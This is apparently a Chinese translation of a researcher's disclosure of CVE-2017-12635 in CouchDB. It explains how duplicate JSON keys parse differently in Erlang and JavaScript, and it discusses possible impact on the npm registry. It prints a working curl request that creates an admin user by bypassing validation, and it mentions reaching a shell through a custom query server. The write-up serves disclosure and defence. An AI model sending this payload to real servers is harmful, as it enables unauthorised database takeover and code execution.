標籤:

CouchDB 的遠程代碼執行漏洞淺析

由於資料庫的本地JSON解析器和在文檔驗證期間使用的Javascript JSON解析器之間的一些差異,導致CouchDB中存在一個漏洞。由於大量的安裝的CouchDB資料庫一般都直接暴露在公網,所以這個漏洞又可以導致遠程特權升級,並最終遠程執行代碼。如果這個漏洞已經被利用,這個bug可能允許修改npm registry 中的任意一個package,這個漏洞的CVE編號是CVE-2017-12635

背景

上一次,我寫了一個關於導致rubygems.org上的代碼執行的反序列化bug,是ruby程序依賴的關係庫。將惡意軟體注入到上游項目依賴項的能力是一個可怕的攻擊方式,不過我懷疑大多數企業都做了充分的防護措施。

考慮到這一點,我開始在registry.npmjs.org這個負責分發npm包的伺服器上尋找bug 。根據他們的主頁提供的信息,npm registry每周提供了超過30億個包的下載量。

CouchDB

npm registry使用CouchDB,在這個項目之前我沒有聽說過這種資料庫。CouchDB是一個「NoSQL」資料庫,能夠使得數據複製非常容易。這有點像JSON blob(「documents」)的一個大鍵值存儲對象,具有數據驗證,查詢和用戶認證的功能,使其更接近成熟的資料庫。CouchDB是用Erlang編寫的,但是允許用戶在Javascript中指定文檔驗證腳本。這些腳本在創建或更新文檔時自動進行評估。這些腳本會啟動一個新的進程,並從Erlang中傳遞JSON序列化的文檔。

CouchDB通過一個特殊的資料庫來管理用戶帳戶叫做_users。在CouchDB資料庫中創建或修改用戶(通常是執行PUT到 /_users/org.couchdb.user:your_username)時,伺服器會使用Javascript的 validate_doc_update函數檢查你提出的更改,以確保你不是嘗試(例如)讓自己成為管理員。

漏洞

問題是JavaScript JSON解析器(用於驗證腳本)和CouchDB內部使用的名為jiffy的解析器之間存在著差異。讓我們來看看這兩個是如何處理對象上的重複鍵的:{"foo":"bar", "foo":"baz"}

Erlang:

> jiffy:decode("{"foo":"bar", "foo":"baz"}").n{[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}n

Javascript:

> JSON.parse("{"foo":"bar", "foo": "baz"}")n{foo: "baz"}n

對於給定的鍵,Erlang解析器將存儲這兩個值,但是JavaScript解析器將只存儲最後一個值。不幸的是,CouchDB內部數據表示的getter函數將只返回第一個值:

% Within couch_util:get_valuenlists:keysearch(Key, 1, List).n

因此,我們可以繞過所有相關的輸入驗證,並利用這個漏洞創建一個管理員用戶:

curl -X PUT http://localhost:5984/_users/org.couchdb.user:oopsn--data-binary {n "type": "user",n "name": "oops",n "roles": ["_admin"],n "roles": [],n "password": "password"n}n

在Erlang部分,我們會看到自己的_admin角色,而在Javascript部分我們似乎沒有特殊的許可權。對於攻擊者來說幸運的是,除了輸入驗證腳本外,幾乎所有關於身份驗證和授權的重要邏輯都發生在CouchDB的Erlang部分。

現在我們有一個管理員帳戶,我們完全控制了資料庫。從這裡獲取shell通常很簡單,因為CouchDB允許你通過管理界面定義自定義query_server的語言,這個功能基本上只是一個execv的包裝。這個漏洞的一個有趣的地方是通過Web GUI檢測有點棘手,如果你嘗試通過管理控制台檢查剛剛創建的用戶,那麼該roles欄位將顯示為空,因為在用Javascript顯示之前它已經被解析了!

對npm的影響

我一直在試圖弄清楚npm是如何受到這個bug的影響的。由於我沒有真正利用這個漏洞攻擊npm的任何生產伺服器,所以我必須根據公開的信息,對基礎設施的容易受攻擊的部分進行大膽猜測。

我幾乎可以肯定的是,registry.npmjs.org容易受到此漏洞的特權升級/管理帳戶創建部分的攻擊,這將允許攻擊者修改軟體包。這是因為npm上的用戶創建與vanilla CouchDB的用戶創建的流程大致相同。然後,在認證為新創建的管理員用戶之後,傳遞給後續驗證腳本的用戶上下文將具有可見的_admin角色,從而允許我們通過isAdmin 檢查 registry 的一個驗證文檔。也就是說,據我所知的Github上的內容,他們的生產伺服器沒有提供一個路由到管理員的配置API,這意味著我不知道該錯誤是否可以在該伺服器上成功實現RCE。

Npm還公開了一個「skim database」,看起來它不是RCE漏洞攻擊的一部分,但我不清楚該資料庫的如何在現在的基礎設施中使用的。有一篇在 2014年發表的博客文章,說明了skimdb的一些東西,但我不知道現在是否仍然如此。

結論

使用多個解析器來處理相同的數據可能是一個糟糕的主意。如果你必須這麼做,也許是因為你的項目使用了像CouchDB這樣的多種語言,那就盡量確保解析器之間沒有任何功能上的差異。然後不幸的是,JSON標準里沒有指定重複鍵的行為。

感謝CouchDB團隊發布了安全相關的電子郵件地址並儘快解決了這個安全問題。

本文翻譯自:justi.cz/security/2017/ ,如若轉載,請註明原文地址: 4hou.com/vulnerable/848 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

比「壞兔子」更可怕,數千網站正被惡意利用
Neat tricks to bypass CSRF-protection

TAG:信息安全 |